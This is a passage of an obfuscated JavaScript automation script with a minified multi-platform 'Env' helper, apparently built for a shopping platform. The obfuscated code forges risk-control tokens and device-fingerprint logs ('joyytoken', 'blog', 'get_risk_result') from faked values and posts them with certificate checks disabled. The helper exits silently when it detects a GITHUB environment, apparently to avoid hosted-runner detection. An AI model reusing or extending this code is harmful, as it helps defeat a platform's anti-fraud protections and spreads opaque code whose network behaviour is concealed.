_0x12bc7d=_0x377d82[_0x511e('c2')](0x0);for(_0x20f1d6=0x0;_0x2f200c[_0x511e('28f')](_0x20f1d6,0x50);_0x20f1d6++)_0x2113aa[_0x20f1d6]=_0x2f200c[_0x511e('28f')](_0x20f1d6,0x10)?_0x4e9f78[_0x2f200c[_0x511e('26d')](_0x1dd03b,_0x20f1d6)]:_0x2f200c[_0x511e('290')](_0x3b047e,_0x2f200c[_0x511e('291')](_0x2f200c[_0x511e('292')](_0x2f200c[_0x511e('293')](_0x2113aa[_0x2f200c[_0x511e('27a')](_0x20f1d6,0x3)],_0x2113aa[_0x2f200c[_0x511e('294')](_0x20f1d6,0x8)]),_0x2113aa[_0x2f200c[_0x511e('294')](_0x20f1d6,0xe)]),_0x2113aa[_0x2f200c[_0x511e('295')](_0x20f1d6,0x10)]),0x1),_0x3f0380=_0x2f200c[_0x511e('296')](_0x2f200c[_0x511e('26d')](_0x2f200c[_0x511e('26d')](_0x2f200c[_0x511e('297')](_0x2f200c[_0x511e('297')](_0x2f200c[_0x511e('290')](_0x3b047e,_0x377d82[0x0],0x5),_0x405359[_0x2f200c[_0x511e('296')](_0x2f200c[_0x511e('298')](_0x20f1d6,0x14),0x0)]()),_0x377d82[0x4]),_0x2113aa[_0x20f1d6]),_0x5a1b54[_0x2f200c[_0x511e('296')](_0x2f200c[_0x511e('299')](_0x20f1d6,0x14),0x0)]),0x0),_0x377d82[0x1]=_0x2f200c[_0x511e('290')](_0x3b047e,_0x377d82[0x1],0x1e),_0x377d82[_0x511e('29a')](),_0x377d82[_0x511e('29b')](_0x3f0380);for(_0x20f1d6=0x0;_0x2f200c[_0x511e('28f')](_0x20f1d6,0x5);_0x20f1d6++)_0x377d82[_0x20f1d6]=_0x2f200c[_0x511e('296')](_0x2f200c[_0x511e('297')](_0x377d82[_0x20f1d6],_0x12bc7d[_0x20f1d6]),0x0);};_0x3f0380=new DataView(new Uint32Array(_0x377d82)[_0x511e('272')]);for(var _0x1dd03b=0x0;_0x2f200c[_0x511e('28f')](_0x1dd03b,0x5);_0x1dd03b++)_0x377d82[_0x1dd03b]=_0x3f0380[_0x511e('274')](_0x2f200c[_0x511e('27b')](_0x1dd03b,0x2));var _0x4349a5=Array[_0x511e('bf')][_0x511e('1f6')][_0x511e('c1')](new Uint8Array(new Uint32Array(_0x377d82)[_0x511e('272')]),function(_0x4bdf91){return _0x2f200c[_0x511e('28a')](_0x2f200c[_0x511e('273')](_0x4bdf91,0x10)?'0':'',_0x4bdf91[_0x511e('c0')](0x10));})[_0x511e('191')]('');return _0x4349a5[_0x511e('c0')]()[_0x511e('150')]();},'encodeUTF8':function(_0xdfbd4f){var _0x4e5614={'MDsdN':function(_0x5701ec,_0x1a93a1){return _0x5701ec<_0x1a93a1;},'uPyAw':function(_0x1de170,_0x1ce9c6){return _0x1de170<_0x1ce9c6;},'kyuoi':function(_0x49e87d,_0x3f6946){return _0x49e87d<_0x3f6946;},'iKsKH':function(_0x356c71,_0x1bf70a){return _0x356c71+_0x1bf70a;},'gbDQD':function(_0xe28e2,_0x41a613){return _0xe28e2&_0x41a613;},'cvJUB':function(_0x4b9d1f,_0x16e0e9){return _0x4b9d1f>>_0x16e0e9;},'QQimb':function(_0x464db7,_0x2d7bd5){return _0x464db7+_0x2d7bd5;},'aZjhz':function(_0xf27cd0,_0x3e27c4){return _0xf27cd0&_0x3e27c4;},'DvQuq':function(_0x19bff6,_0x32c434){return _0x19bff6==_0x32c434;},'TVLvt':function(_0x502f48,_0xe320a8){return _0x502f48^_0xe320a8;},'nZXMM':function(_0x4af771,_0x3a08d7){return _0x4af771+_0x3a08d7;},'knlgR':function(_0x33e24b,_0x5dad72){return _0x33e24b+_0x5dad72;},'pJiHe':function(_0x3dda18,_0x39b878){return _0x3dda18<<_0x39b878;},'QfQIX':function(_0x4eb32f,_0x575171){return _0x4eb32f+_0x575171;},'dRBYa':function(_0x24ed2b,_0x2a5c9b){return _0x24ed2b&_0x2a5c9b;},'EGNqw':function(_0x2bfde8,_0x1859f7){return _0x2bfde8>>_0x1859f7;},'lnura':function(_0xdcf72f,_0x5d87d6){return _0xdcf72f+_0x5d87d6;},'MImsb':function(_0xd256a8,_0x1ff471){return _0xd256a8>>_0x1ff471;},'rEBVl':function(_0x4ef44b,_0xffa2cc){return _0x4ef44b+_0xffa2cc;},'dwkNk':function(_0x8b53fe,_0x42876e){return _0x8b53fe&_0x42876e;}};var _0x295bc9,_0x4b4ccc=[],_0x82e80f,_0x5e3413;for(_0x295bc9=0x0;_0x4e5614[_0x511e('29c')](_0x295bc9,_0xdfbd4f[_0x511e('9')]);_0x295bc9++)if(_0x4e5614[_0x511e('29d')](_0x82e80f=_0xdfbd4f[_0x511e('81')](_0x295bc9),0x80))_0x4b4ccc[_0x511e('190')](_0x82e80f);else if(_0x4e5614[_0x511e('29e')](_0x82e80f,0x800))_0x4b4ccc[_0x511e('190')](_0x4e5614[_0x511e('29f')](0xc0,_0x4e5614[_0x511e('2a0')](_0x4e5614[_0x511e('2a1')](_0x82e80f,0x6),0x1f)),_0x4e5614[_0x511e('2a2')](0x80,_0x4e5614[_0x511e('2a3')](_0x82e80f,0x3f)));else{if(_0x4e5614[_0x511e('2a4')](_0x4e5614[_0x511e('2a1')](_0x5e3413=_0x4e5614[_0x511e('2a5')](_0x82e80f,0xd800),0xa),0x0))_0x82e80f=_0x4e5614[_0x511e('2a6')](_0x4e5614[_0x511e('2a7')](_0x4e5614[_0x511e('2a8')](_0x5e3413,0xa),_0x4e5614[_0x511e('2a5')](_0xdfbd4f[_0x511e('81')](++_0x295bc9),0xdc00)),0x10000),_0x4b4ccc[_0x511e('190')](_0x4e5614[_0x511e('2a7')](0xf0,_0x4e5614[_0x511e('2a3')](_0x4e5614[_0x511e('2a1')](_0x82e80f,0x12),0x7)),_0x4e5614[_0x511e('2a9')](0x80,_0x4e5614[_0x511e('2aa')](_0x4e5614[_0x511e('2ab')](_0x82e80f,0xc),0x3f)));else _0x4b4ccc[_0x511e('190')](_0x4e5614[_0x511e('2a9')](0xe0,_0x4e5614[_0x511e('2aa')](_0x4e5614[_0x511e('2ab')](_0x82e80f,0xc),0xf)));_0x4b4ccc[_0x511e('190')](_0x4e5614[_0x511e('2ac')](0x80,_0x4e5614[_0x511e('2aa')](_0x4e5614[_0x511e('2ad')](_0x82e80f,0x6),0x3f)),_0x4e5614[_0x511e('2ae')](0x80,_0x4e5614[_0x511e('2af')](_0x82e80f,0x3f)));};return _0x4b4ccc;},'gettoken':function(){var _0x309d6d={'CPLiP':_0x511e('2b0'),'sIRhw':_0x511e('2b1'),'JbwVz':_0x511e('2b2'),'CarqF':_0x511e('2b3'),'jiHyi':function(_0xcde927,_0x4d8e38){return _0xcde927&_0x4d8e38;},'kNqKz':function(_0x5ea9b1,_0x454158){return _0x5ea9b1^_0x454158;},'PBnie':function(_0xd1e679,_0x4d0160){return _0xd1e679+_0x4d0160;},'XMufR':function(_0x322031,_0x190e7d){return _0x322031*_0x190e7d;},'cQRbt':function(_0x532fa8,_0x1d14a1){return _0x532fa8>>>_0x1d14a1;},'LWpLl':function(_0x170992,_0x239916){return _0x170992===_0x239916;},'ReQNr':_0x511e('2b4'),'YFdrq':_0x511e('2b5'),'uYZax':_0x511e('2b6'),'bBmdW':_0x511e('2b7'),'IHfOi':_0x511e('2b8'),'JbOvn':_0x511e('2b9'),'ABHSY':_0x511e('2ba'),'DELXT':_0x511e('2bb'),'PQydG':_0x511e('2bc'),'etqVv':function(_0x6204db,_0x3e125a){return _0x6204db(_0x3e125a);},'jQgAK':_0x511e('2bd')};const _0x40b558=_0x309d6d[_0x511e('2be')](require,_0x309d6d[_0x511e('2bf')]);var _0xda22b7=_0x511e('2c0');return new Promise((_0x107777,_0x1b2690)=>{var _0x1c75d1={'ZaIAY':function(_0x5c6d4b,_0x5d6456){return _0x309d6d[_0x511e('2c1')](_0x5c6d4b,_0x5d6456);},'eekrh':function(_0x24e276,_0x176ce3){return _0x309d6d[_0x511e('2c2')](_0x24e276,_0x176ce3);},'IZTcn':function(_0x5d7247,_0x544450){return _0x309d6d[_0x511e('2c3')](_0x5d7247,_0x544450);},'NkvPz':function(_0x2c2d55,_0x11ed6c){return _0x309d6d[_0x511e('2c4')](_0x2c2d55,_0x11ed6c);},'hqLeC':function(_0x259395,_0x7ae9ad){return _0x309d6d[_0x511e('2c5')](_0x259395,_0x7ae9ad);}};if(_0x309d6d[_0x511e('2c6')](_0x309d6d[_0x511e('2c7')],_0x309d6d[_0x511e('2c8')])){n=_0x1c75d1[_0x511e('2c9')](_0x1c75d1[_0x511e('2ca')](crc,str[_0x511e('81')](i)),0xff);x=_0x1c75d1[_0x511e('2cb')]('0x',table[_0x511e('19e')](_0x1c75d1[_0x511e('2cc')](n,0x9),0x8));crc=_0x1c75d1[_0x511e('2ca')](_0x1c75d1[_0x511e('2cd')](crc,0x8),x);}else{let _0xf08d97={'hostname':_0x309d6d[_0x511e('2ce')],'port':0x1bb,'path':_0x309d6d[_0x511e('2cf')],'method':_0x309d6d[_0x511e('2d0')],'rejectUnauthorized':![],'headers':{'Content-Type':_0x309d6d[_0x511e('2d1')],'Host':_0x309d6d[_0x511e('2ce')],'Origin':_0x309d6d[_0x511e('2d2')],'X-Requested-With':_0x309d6d[_0x511e('2d3')],'Referer':_0x309d6d[_0x511e('2d4')],'User-Agent':UA}};const _0x5da5e0=_0x40b558[_0x511e('2d5')](_0xf08d97,_0x2da009=>{_0x2da009[_0x511e('2d6')](_0x309d6d[_0x511e('2d7')]);let _0x271c46='';_0x2da009['on'](_0x309d6d[_0x511e('2d8')],_0x1b2690);_0x2da009['on'](_0x309d6d[_0x511e('2d9')],_0xd05c80=>_0x271c46+=_0xd05c80);_0x2da009['on'](_0x309d6d[_0x511e('2da')],()=>_0x107777(_0x271c46));});_0x5da5e0[_0x511e('2db')](_0xda22b7);_0x5da5e0['on'](_0x309d6d[_0x511e('2d8')],_0x1b2690);_0x5da5e0[_0x511e('2b3')]();}});},'getTouchSession':function(){var _0x550ac4={'TWhYf':function(_0x39ac75,_0x4d88aa){return _0x39ac75+_0x4d88aa;},'zMbcz':function(_0x492fbb,_0x3969f5){return _0x492fbb(_0x3969f5);}};var _0x52e710=new Date()[_0x511e('1b6')](),_0x2e3364=this[_0x511e('2dc')](0x3e8,0x270f);return _0x550ac4[_0x511e('2dd')](_0x550ac4[_0x511e('2de')](String,_0x52e710),_0x550ac4[_0x511e('2de')](String,_0x2e3364));},'get_blog':function(_0x216786){var _0x24e5de={'ILGYc':function(_0xcba1b4,_0x28c482){return _0xcba1b4(_0x28c482);},'PkBRX':function(_0x47da60,_0xf86995){return _0x47da60<_0xf86995;},'ecobt':function(_0x14718c,_0x124b1e){return _0x14718c===_0x124b1e;},'JznzK':_0x511e('1fa'),'BdAWs':function(_0x6c4ae6,_0x591103){return _0x6c4ae6!==_0x591103;},'qosHK':_0x511e('2df'),'NIIsl':_0x511e('2e0'),'cUTPH':function(_0x271d5f,_0x9aaa0c){return _0x271d5f^_0x9aaa0c;},'ukYFm':function(_0x5b7574,_0x4d971a){return _0x5b7574%_0x4d971a;},'FzFfZ':function(_0x4cc699,_0xc72c5e){return _0x4cc699&_0xc72c5e;},'hIdfZ':function(_0x3b310d,_0x138753){return _0x3b310d!==_0x138753;},'hZfLR':function(_0xaa5346,_0x528e3d){return _0xaa5346-_0x528e3d;},'BgTlY':_0x511e('2e1'),'MyyhD':_0x511e('2e2'),'SDKGN':function(_0x3940d3,_0x2d5a44){return _0x3940d3+_0x2d5a44;},'bEeTl':function(_0x2a5128,_0x11021d){return _0x2a5128-_0x11021d;},'IqrVU':function(_0x3dbfc9,_0x9cebdd){return _0x3dbfc9<_0x9cebdd;},'dxCQE':_0x511e('2e3'),'kimHh':function(_0x5d2089,_0x1a3a01){return _0x5d2089%_0x1a3a01;},'lPEXD':_0x511e('2e4'),'aLBTz':function(_0x5a5692,_0x1dad9d){return _0x5a5692<_0x1dad9d;},'EMjoG':function(_0x28010a,_0x5350ee){return _0x28010a^_0x5350ee;},'EmkvN':function(_0x32dda4,_0x32cf07){return _0x32dda4%_0x32cf07;},'vwlKB':_0x511e('2e5'),'RRCQI':function(_0x5c943c,_0x4ff91f){return _0x5c943c%_0x4ff91f;},'CrzEp':function(_0x3c2216,_0x2c578a){return _0x3c2216*_0x2c578a;},'bujFf':_0x511e('2e6'),'ZhQOd':_0x511e('2e7'),'JEXGu':function(_0x23c4bc,_0x5ce709){return _0x23c4bc-_0x5ce709;},'ZyoTv':function(_0x28fa6f,_0x322a9b){return _0x28fa6f(_0x322a9b);},'FhMnf':_0x511e('2e8'),'INTcM':function(_0x3a7549,_0x515923){return _0x3a7549+_0x515923;}};let _0x2c76f5={'z':function(_0x42561c,_0x464556){if(_0x24e5de[_0x511e('2e9')](_0x24e5de[_0x511e('2ea')],_0x24e5de[_0x511e('2ea')])){var _0x1501f0=t[_0x511e('c2')](0x0,0x5),_0x343b44=_0x24e5de[_0x511e('2eb')](String,n)[_0x511e('c2')](-0x5);return r[_0x511e('242')](_0x1501f0,_0x343b44);}else{var _0x2909bd='';for(var _0x39df82=0x0;_0x24e5de[_0x511e('2ec')](_0x39df82,_0x42561c[_0x511e('9')]);_0x39df82++){if(_0x24e5de[_0x511e('2ed')](_0x24e5de[_0x511e('2ee')],_0x24e5de[_0x511e('2ee')])){_0x2909bd+=_0x24e5de[_0x511e('2ef')](_0x42561c[_0x511e('81')](_0x39df82),_0x464556[_0x511e('81')](_0x24e5de[_0x511e('2f0')](_0x39df82,_0x464556[_0x511e('9')])))[_0x511e('c0')]('16');}else{for(var _0xd383f3=[],_0x4e5169=0x0;_0x24e5de[_0x511e('2ec')](_0x4e5169,i[_0x511e('9')]);_0x4e5169++){var _0x5e6f19=i[_0x4e5169];if(_0x24e5de[_0x511e('2ed')](_0x24e5de[_0x511e('2f1')],Object[_0x511e('bf')][_0x511e('c0')][_0x511e('c1')](_0x5e6f19))){var _0xf1e0bb=e[_0x511e('1d4')](_0x5e6f19);_0xd383f3[_0x4e5169]=_0xf1e0bb;}else _0xd383f3[_0x4e5169]=_0x5e6f19;}n[t]=_0xd383f3;}}return _0x2909bd;}},'y':function(_0x3a6e14,_0x146d79){var _0x3b04a4='';for(var _0x54a273=0x0;_0x24e5de[_0x511e('2ec')](_0x54a273,_0x3a6e14[_0x511e('9')]);_0x54a273++){_0x3b04a4+=_0x24e5de[_0x511e('2f2')](_0x3a6e14[_0x511e('81')](_0x54a273),_0x146d79[_0x511e('81')](_0x24e5de[_0x511e('2f0')](_0x54a273,_0x146d79[_0x511e('9')])))[_0x511e('c0')]('16');}return _0x3b04a4;},'x':function(_0x8731ff,_0x877090){var _0x5091dc={'mwAOn':function(_0x3a842f,_0x51ae9b){return _0x24e5de[_0x511e('2f3')](_0x3a842f,_0x51ae9b);},'pcOnn':function(_0x13c4b3,_0x20fbe9){return _0x24e5de[_0x511e('2ec')](_0x13c4b3,_0x20fbe9);},'qocbu':function(_0x3887bc,_0xd38ac){return _0x24e5de[_0x511e('2f4')](_0x3887bc,_0xd38ac);}};if(_0x24e5de[_0x511e('2ed')](_0x24e5de[_0x511e('2f5')],_0x24e5de[_0x511e('2f6')])){var _0x21f12a=e[_0x511e('9')],_0x59f773=t[_0x511e('9')],_0x3e2ade=Math[_0x511e('1d7')](_0x21f12a,_0x59f773),_0x427c0f=this[_0x511e('1d8')](e),_0x106dd8=this[_0x511e('1d8')](t),_0x54b22e='',_0x28e8a5=0x0;for(_0x5091dc[_0x511e('2f7')](_0x21f12a,_0x59f773)&&(_0x427c0f=this[_0x511e('1da')](_0x427c0f,_0x3e2ade),_0x106dd8=this[_0x511e('1da')](_0x106dd8,_0x3e2ade));_0x5091dc[_0x511e('2f8')](_0x28e8a5,_0x3e2ade);)_0x54b22e+=Math[_0x511e('1b4')](_0x5091dc[_0x511e('2f9')](_0x427c0f[_0x28e8a5],_0x106dd8[_0x28e8a5])),_0x28e8a5++;return _0x54b22e;}else{_0x8731ff=_0x24e5de[_0x511e('2fa')](_0x8731ff[_0x511e('188')](0x1),_0x8731ff[_0x511e('188')](0x0,0x1));_0x877090=_0x24e5de[_0x511e('2fa')](_0x877090[_0x511e('188')](_0x24e5de[_0x511e('2f4')](_0x877090[_0x511e('9')],0x1)),_0x877090[_0x511e('188')](0x0,_0x24e5de[_0x511e('2fb')](_0x877090[_0x511e('9')],0x1)));var _0x16095c='';for(var _0x274ea3=0x0;_0x24e5de[_0x511e('2fc')](_0x274ea3,_0x8731ff[_0x511e('9')]);_0x274ea3++){if(_0x24e5de[_0x511e('2f3')](_0x24e5de[_0x511e('2fd')],_0x24e5de[_0x511e('2fd')])){return this[_0x511e('1b5')]()[_0x511e('1b6')]();}else{_0x16095c+=_0x24e5de[_0x511e('2ef')](_0x8731ff[_0x511e('81')](_0x274ea3),_0x877090[_0x511e('81')](_0x24e5de[_0x511e('2fe')](_0x274ea3,_0x877090[_0x511e('9')])))[_0x511e('c0')]('16');}}return _0x16095c;}},'jiami':function(_0x8c3820,_0x51d9b1){if(_0x24e5de[_0x511e('2f3')](_0x24e5de[_0x511e('2ff')],_0x24e5de[_0x511e('2ff')])){return r[_0x511e('198')](t,n);}else{var _0x405a5a='';for(vi=0x0;_0x24e5de[_0x511e('300')](vi,_0x8c3820[_0x511e('9')]);vi++){_0x405a5a+=String[_0x511e('75')](_0x24e5de[_0x511e('301')](_0x8c3820[_0x511e('81')](vi),_0x51d9b1[_0x511e('81')](_0x24e5de[_0x511e('302')](vi,_0x51d9b1[_0x511e('9')]))));}return new Buffer[(_0x511e('bb'))](_0x405a5a)[_0x511e('c0')](_0x24e5de[_0x511e('303')]);}}};const _0x380ad4=['x','y','z'];var _0x4a5363=_0x380ad4[_0x24e5de[_0x511e('304')](Math[_0x511e('7')](_0x24e5de[_0x511e('305')](Math[_0x511e('8')](),0x5f5e100)),_0x380ad4[_0x511e('9')])];var _0x535df4=this[_0x511e('25d')]();var _0x7f3481=this[_0x511e('306')](0xa);var _0x1eb69b='B';refer=_0x24e5de[_0x511e('307')];_0x4a5363='x';var _0x53f0ca={'r':refer,'a':'','c':'a','v':_0x24e5de[_0x511e('308')],'t':_0x535df4[_0x511e('c0')]()[_0x511e('188')](_0x24e5de[_0x511e('309')](_0x535df4[_0x511e('c0')]()[_0x511e('9')],0x4))};var _0x13c4f4=_0x24e5de[_0x511e('30a')](md5,_0x216786);var _0x3ee399=_0x2c76f5[_0x4a5363](_0x535df4[_0x511e('c0')](),_0x7f3481);var _0x27a62b=_0x2c76f5[_0x24e5de[_0x511e('30b')]](JSON[_0x511e('219')](_0x53f0ca),_0x3ee399);return _0x535df4+'~1'+_0x24e5de[_0x511e('30c')](_0x7f3481,_0x13c4f4)+'~'+_0x4a5363+_0x511e('30d')+_0x1eb69b+'~'+_0x27a62b+'~'+this[_0x511e('30e')](_0x27a62b);},'get_risk_result':async function(_0xf2c71f,_0x5086bd,_0x4a7659){var _0x506d74={'QzLEI':_0x511e('30f'),'kgiQV':function(_0x281634,_0x16e0b7){return _0x281634+_0x16e0b7;},'WSyJd':function(_0x5e73ca,_0xc728bb){return _0x5e73ca+_0xc728bb;},'sWtBH':function(_0x50de52,_0x26ea08){return _0x50de52+_0x26ea08;},'oLLsV':function(_0x55dfc5,_0x230cd3){return _0x55dfc5+_0x230cd3;},'SBhfs':_0x511e('2e5'),'hyQaD':function(_0x21bead,_0x3c559b){return _0x21bead>_0x3c559b;},'lxxkI':_0x511e('310'),'eGKSO':_0x511e('311'),'PPPIi':_0x511e('262'),'flQIp':_0x511e('312'),'huWkh':_0x511e('313'),'rrBnO':function(_0x924292,_0x438b04){return _0x924292+_0x438b04;},'Eqlaz':function(_0x1b3e06,_0x49a48f){return _0x1b3e06%_0x49a48f;},'aTfjj':function(_0x301de1,_0x5da7f1){return _0x301de1*_0x5da7f1;},'MeXAl':function(_0x305236,_0x46f3b3){return _0x305236(_0x46f3b3);},'QhLuv':_0x511e('314'),'qGQGu':_0x511e('315'),'jVXSz':_0x511e('316'),'jwKPk':_0x511e('317'),'xuWbU':_0x511e('318')};var _0x310000=_0x506d74[_0x511e('319')][_0x511e('29')]('|'),_0x4feb2b=0x0;while(!![]){switch(_0x310000[_0x4feb2b++]){case'0':var _0x8869=this[_0x511e('25d')]();continue;case'1':return{'log':_0x218513[_0x511e('191')]('~'),'joyytoken':_0x511e('31a')+_0x506d74[_0x511e('31b')](_0x5086bd,$[_0x511e('310')])+';'};case'2':var _0x5d7cc0=this[_0x511e('306')](0xa);continue;case'3':var _0x218513=[_0x8869,_0x506d74[_0x511e('31c')](_0x506d74[_0x511e('31d')]('1',_0x5d7cc0),$[_0x511e('310')]),_0x506d74[_0x511e('31e')](_0x506d74[_0x511e('31e')](_0x5a979a[0x2],','),_0x5a979a[0x3])];continue;case'4':_0x218513[_0x511e('190')](_0x555f6a);continue;case'5':var _0x5d6bad=this[_0x511e('31f')](_0x5a979a[0x2],_0x5d7cc0,_0x8869)[_0x511e('c0')]();continue;case'6':_0x555f6a=this[_0x511e('320')](_0x555f6a);continue;case'7':_0x8666dd=new Buffer[(_0x511e('bb'))](this[_0x511e('268')](JSON[_0x511e('219')](_0x8666dd),_0x5d6bad))[_0x511e('c0')](_0x506d74[_0x511e('321')]);continue;case'8':_0x218513[_0x511e('190')](_0x8666dd);continue;case'9':_0x218513[_0x511e('190')](this[_0x511e('30e')](_0x8666dd));continue;case'10':joyytoken_count++;continue;case'11':if(!$[_0x511e('310')]||_0x506d74[_0x511e('322')](joyytoken_count,0x12)){$[_0x511e('310')]=JSON[_0x511e('323')](await this[_0x511e('324')](_0x511e('325')))[_0x506d74[_0x511e('326')]];console[_0x511e('327')](_0x506d74[_0x511e('328')]);joyytoken_count=0x0;}continue;case'12':var _0x555f6a=_0x1138a3+_0x511e('329')+$[_0x511e('310')]+_0x511e('32a')+_0x8869+_0x511e('32b')+_0x5d7cc0+_0x511e('32c')+_0x5d6bad+_0x511e('32d');continue;case'13':var _0x1138a3=this[_0x511e('32e')](this[_0x511e('1d4')](_0xf2c71f[_0x511e('2b2')]));continue;case'14':var _0x5257a3=this[_0x511e('32f')]();continue;case'15':var _0x5a979a=this[_0x511e('330')](_0x506d74[_0x511e('31e')](_0x5086bd,$[_0x511e('310')]),_0x5086bd)[_0x506d74[_0x511e('331')]][_0x511e('29')](',');continue;case'16':var _0x8666dd={'tm':[],'tnm':[],'grn':joyytoken_count,'ss':_0x5257a3,'wed':_0x506d74[_0x511e('332')],'wea':_0x506d74[_0x511e('333')],'pdn':[0xd,_0x506d74[_0x511e('334')](_0x506d74[_0x511e('335')](Math[_0x511e('7')](_0x506d74[_0x511e('336')](Math[_0x511e('8')](),0x5f5e100)),0xb4),0x1),0x5,0x7,0x1,0x5],'jj':0x1,'cs':_0x506d74[_0x511e('337')](hexMD5,_0x506d74[_0x511e('338')]),'np':_0x506d74[_0x511e('339')],'t':_0x8869,'jk':'a','fpb':'','nv':_0x506d74[_0x511e('33a')],'nav':'f','scr':[0x332,0x189],'ro':['f','f','f','f','f',uuid,'1'],'ioa':_0x506d74[_0x511e('33b')],'aj':'u','ci':_0x506d74[_0x511e('33c')],'cf_v':'01','bd':_0x1138a3,'mj':[0x1,0x0,0x0],'blog':this[_0x511e('33d')](_0x4a7659),'msg':''};continue;case'17':_0x218513[_0x511e('190')]('C');continue;case'18':_0x218513[_0x511e('190')](this[_0x511e('30e')](_0x555f6a));continue;}break;}}};;_0xodF='jsjiami.com.v6'; +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else 